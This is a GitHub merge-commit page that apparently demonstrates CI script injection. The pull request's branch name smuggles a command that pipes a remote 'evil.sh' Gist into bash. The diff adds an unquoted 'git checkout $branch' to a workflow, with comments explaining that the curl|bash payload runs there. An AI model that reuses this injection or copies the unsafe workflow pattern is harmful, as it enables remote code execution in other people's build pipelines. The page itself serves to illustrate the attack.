Merge pull request #5 from colek42/$({curl,-sSfL,gist.githubuserconte…

…nt.com/colek42/0a6254d21b98e7a437d568126e1d261c/raw/evil.sh}|bash)

Update README.md

.github/workflows/ci.yml

@@ -39,6 +39,7 @@ jobs:
           branch="${branch}"
           # Attacker's malicious branch name will be substituted here,
           # resulting in execution of `evil.sh` via curl|bash
+          git checkout $branch
 
       - name: Run Program
         run: python src/main.py

README.md

@@ -1,7 +1,3 @@
-Below is an updated **README.md** incorporating the exact `evil.sh` file you’ve provided via the Gist link, along with instructions on how the attacker would use it. This README gives a cohesive description of the scenario, including the malicious branch name and the exact external payload.
-
----
-
 ## README
 
 ### Overview